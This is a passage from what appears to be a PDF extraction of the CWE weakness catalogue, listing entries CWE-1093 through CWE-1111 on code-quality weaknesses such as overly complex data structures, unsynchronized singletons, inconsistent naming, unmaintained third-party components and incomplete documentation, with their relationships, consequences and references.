
### Extended Description

This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2234

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-10		

### References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1093: Excessively Complex Data Representation

**Weakness ID** : 1093**Structure** : Simple**Abstraction** : Class

### Description

The product uses an unnecessarily complex internal representation for its data structures or interrelationships between those structures.

### Extended Description

This issue makes it more difficult to understand or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	ⓑ	1043	Data Element Aggregating an Excessively Large Number of Non-Primitive Elements	1743
ParentOf	ⓑ	1055	Multiple Inheritance from Concrete Classes	1755
ParentOf	ⓑ	1074	Class with Excessively Deep Inheritance	1776
ParentOf	ⓑ	1086	Class with Excessive Number of Child Classes	1786

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	
Other	Reduce Performance	

## CWE-1094: Excessive Index Range Scan for a Data Resource

**Weakness ID** : 1094**Structure** : Simple**Abstraction** : Base

### Description

The product contains an index range scan for a large data table, but the scan can cover a large number of rows.

### Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	933

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2236
MemberOf		1309	CISQ Quality Measures - Efficiency	1305	2279

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-7		

## References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < <http://www.omg.org/spec/ASCPEM/1.0> >.

## CWE-1095: Loop Condition Value Update within the Loop

**Weakness ID** : 1095

**Structure** : Simple

**Abstraction** : Base

## Description

The product uses a loop with a control flow condition based on a value that is updated within the body of the loop.

## Extended Description

This issue makes it more difficult to understand and/or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1120	Excessive Code Complexity	1817

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1226	Complexity Issues	2273

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1130	CISQ Quality Measures (2016) - Maintainability	1128	2234
MemberOf		1307	CISQ Quality Measures - Maintainability	1305	2277

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-5		

## References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < <http://www.omg.org/spec/ASCMM/1.0> >.

## CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization

**Weakness ID** : 1096

**Structure** : Simple

**Abstraction** : Variant

## Description

The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.

## Extended Description

This issue can prevent the product from running reliably, e.g. by making the instantiation process non-thread-safe and introducing deadlock (CWE-833) or livelock conditions. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.



## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		820	Missing Synchronization	1601

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-12		

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element

**Weakness ID :** 1097

**Structure :** Simple

**Abstraction :** Base

## Description

The product uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison.

## Extended Description


For example, with Java, a class that is made persistent requires both hashCode() and equals() methods to be defined.

This issue can prevent the product from running reliably, due to incorrect or unexpected comparison results. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		595	Comparison of Object References Instead of Object Contents	1256

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities



Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability		1128 2233

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-4		

## References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element

Weakness ID : 1098

Structure : Simple

1798

**Abstraction** : Variant**Description**

The code contains a data element with a pointer that does not have an associated copy or constructor method.


**Extended Description**

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

**Weakness Ordinalities**

**Indirect** :

**Common Consequences**

Scope	Impact	Likelihood
Other	Reduce Reliability	

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1129	CISQ Quality Measures (2016) - Reliability	1128	2233
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-6		

**References**

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

**CWE-1099: Inconsistent Naming Conventions for Identifiers**

**Weakness ID** : 1099

**Structure** : Simple

**Abstraction** : Base

## Description

The product's code, documentation, or other artifacts do not consistently use the same naming conventions for variables, callables, groups of related callables, I/O capabilities, data types, file names, or similar types of elements.

## Extended Description

This issue makes it more difficult to understand and/or maintain the product due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

**Indirect :**

## References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1100: Insufficient Isolation of System-Dependent Functions

**Weakness ID :** 1100

**Structure :** Simple

**Abstraction :** Base

## Description

The product or code does not isolate system-dependent functionality into separate standalone modules.


## Extended Description

This issue makes it more difficult to maintain and/or port the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1762

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1227	Encapsulation Issues	2274

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1101: Reliance on Runtime Component in Generated Code

**Weakness ID :** 1101

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses automatically-generated code that cannot be executed without a specific runtime support component.


### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1102: Reliance on Machine-Dependent Data Representation

**Weakness ID** : 1102

**Structure** : Simple

**Abstraction** : Base

### Description

The code uses a data representation that relies on low-level data representation or constructs that may vary across different processors, physical machines, OSes, or other physical components.



### Extended Description

This issue makes it more difficult to maintain and/or port the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472
PeerOf		1105	Insufficient Encapsulation of Machine-Dependent Functionality	1804

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1103: Use of Platform-Dependent Third Party Components

**Weakness ID** : 1103

**Structure** : Simple

**Abstraction** : Base

### Description

The product relies on third-party components that do not provide equivalent functionality across all desirable platforms.


### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENTS](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENTS) >.

## CWE-1104: Use of Unmaintained Third Party Components

**Weakness ID** : 1104

**Structure** : Simple

**Abstraction** : Base

### Description

The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.

### Extended Description




Reliance on components that are no longer maintained can make it difficult or impossible to fix significant bugs, vulnerabilities, or quality issues. In effect, unmaintained code can become obsolete.

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1357	Reliance on Insufficiently Trustworthy Component	2076

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

**Indirect :**

## Applicable Platforms

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)


**Technology :** ICS/OT (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1352	OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components	1344	2287
MemberOf		1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2297

## References

[REF-1212]"A06:2021 - Vulnerable and Outdated Components". 2021 September 4. OWASP. <[https://owasp.org/Top10/A06\\_2021-Vulnerable\\_and\\_Outdated\\_Components/](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/)>.

## CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality

**Weakness ID :** 1105

**Structure :** Simple

**Abstraction :** Base

## Description

1804

The product or code uses machine-dependent functionality, but it does not sufficiently encapsulate or isolate this functionality from the rest of the code.





### Extended Description

This issue makes it more difficult to port or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1061	Insufficient Encapsulation	1762
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472
ParentOf		188	Reliance on Data/Memory Layout	451
PeerOf		1102	Reliance on Machine-Dependent Data Representation	1802

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1227	Encapsulation Issues	2274

### Weakness Ordinalities

**Indirect :**

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1106: Insufficient Use of Symbolic Constants

**Weakness ID :** 1106

**Structure :** Simple

**Abstraction :** Base

### Description

The source code uses literal constants that may need to change or evolve over time, instead of using symbolic constants.

### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

Indirect :

## Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1107: Insufficient Isolation of Symbolic Constant Definitions

**Weakness ID** : 1107

**Structure** : Simple

**Abstraction** : Base

## Description

The source code uses symbolic constants, but it does not sufficiently place the definitions of these constants into a more centralized or isolated location.

## Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1108: Excessive Reliance on Global Variables

**Weakness ID :** 1108

**Structure :** Simple

**Abstraction :** Base

### Description

The code is structured in a way that relies too much on using or setting global variables throughout various points in the code, instead of preserving the associated information in a narrower, more local context.


### Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1076	Insufficient Adherence to Expected Conventions	1778

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1109: Use of Same Variable for Multiple Purposes

**Weakness ID** : 1109

**Structure** : Simple

**Abstraction** : Base

### Description

The code contains a callable, block, or other code element in which the same variable is used to control more than one unique task or store more than one instance of data.

### Extended Description

Use of the same variable for multiple purposes can make it more difficult for a person to read or understand the code, potentially hiding other quality issues.

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1779

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Indirect** :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1110: Incomplete Design Documentation

**Weakness ID** : 1110

**Structure** : Simple  
**Abstraction** : Base

### Description

The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1059	Insufficient Technical Documentation	1759

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1225	Documentation Issues	2273

### Weakness Ordinalities

**Indirect** :

### Applicable Platforms

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1375	ICS Engineering (Construction/Deployment): Gaps in Details/Data	1358	2302

### References

[REF-963]Robert A. Martin and Lawrence H. Shafer. "Providing a Framework for Effective Software Quality Assessment". 1996 July. < [https://www.researchgate.net/publication/285403022\\_PROVIDING\\_A\\_FRAMEWORK\\_FOR\\_EFFECTIVE\\_SOFTWARE\\_QUALITY\\_MEASUREMENT](https://www.researchgate.net/publication/285403022_PROVIDING_A_FRAMEWORK_FOR_EFFECTIVE_SOFTWARE_QUALITY_MEASUREMENT) >.

## CWE-1111: Incomplete I/O Documentation

**Weakness ID** : 1111  
**Structure** : Simple  
**Abstraction** : Base


### Description

The product's documentation does not adequately define inputs, outputs, or system/software interfaces.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1059	Insufficient Technical Documentation	1759

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1225	Documentation Issues	2273

### Weakness Ordinalities

**Indirect :**

### References

